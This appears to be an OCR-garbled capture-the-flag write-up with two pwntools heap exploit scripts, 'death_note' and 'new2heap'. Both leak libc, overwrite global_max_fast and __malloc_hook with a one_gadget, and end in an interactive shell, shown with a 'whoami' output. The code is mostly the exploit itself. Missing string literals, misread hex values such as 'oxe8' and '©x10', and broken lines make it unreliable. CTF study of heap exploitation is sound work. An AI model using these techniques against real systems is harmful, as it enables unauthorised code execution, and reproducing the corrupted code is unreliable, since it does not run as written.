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exp:

from pwn import

context(arch , terminal=[
context.log level

process(
if d 1:
gdb.attach(p)
else:

p remote(

def add(size):
p.sendlineafter(

p.sendlineafter(

def edit(idx, content):
p.sendlineafter( (€)))
p.sendlineafter( (idx))

p.sendlineafter( , content)

def delete(idx):
p.sendlineafter(
p.sendlineafter(

def show(idx):
p.sendlineafter(

p.sendlineafter(

add (oxe8)
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ub4(p.recvline()[:6].1just(8, ))
libc_base = leak (0x7ff8fa658b78 - Ox7ff8fa294000)
malloc_hook libc_base libc.symbols|
stdin libc_base libc.symbols|
realloc libc_base libc.symbols|
global max_fast libc_base 0x3c67f8 0x10
libc_base oxf1147
(leak))
(libc_base))
(malloc_hook))
(realloc))
(stdin))
(one_gadget))

payload p64(leak) p64(global max_fast)
edit (@, payload)

oxd8 p64(0xf1)

libc_base Ox3cdadf

(0xb9 - ©x10) p64(one_gadget) p64(one_gadget)

p.interactive()




death_note
Desktop
whoami
[ ] Sent 0x7 bytes:
'whoami\n'
[ ] Received 0x5 bytes:
‘userin’

2.new2heap
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exp:

from pwn import

context(arch , terminal=[

process(execve)
if d 1:
gdb.attach(p)
else:

p remote (

def add(size):
p.sendlineafter(

p.sendlineafter(

def edit(idx, content):
p.sendlineafter( (3))
p.sendlineafter( (idx))

p.sendlineafter( , content)

def delete(idx):
p.sendlineafter(

p.sendlineafter(

def show(idx):
p.sendlineafter(
p.sendlineafter(

def leak():
add(ox18)
add(0x28)
add(0x58)
add(ox18)
edit (o, p8(0x91))




add(ox28)

show(2)

leak = ub4(p.recvline()[:6].1just(8,
log.info( (leak))
return leak

def exploit():

add(0x58)

delete(2)

edit(5, p64(0x51))
add(0x58)

fake libc_base 0x3c4b40
add(ox18)

add(ox48)

add(0x48)

add(0x18)

edit(7, 0x18 + p8(0xal))
delete(8)

add(0x48)

add(0x48)

delete(12)

edit(9, p64(fake))
add(0x48)

add(0x48)

payload 0x28 p64(malloc_hook - ©x10)
edit (14, payload)

add(0x48)

edit (15, p64(one_gadget)*4)

Q)
add(ex48)

1libc ELF( )

libc_base = leak() - (0x7f1bfd456b78 - Ox7f1bfde92000)
malloc_hook libc_base libc.symbols| ]
realloc libc_base libc.symbols|

log.info( (libc_base))

one_gadget libc_base oxf1147

exploit()

p.interactive()
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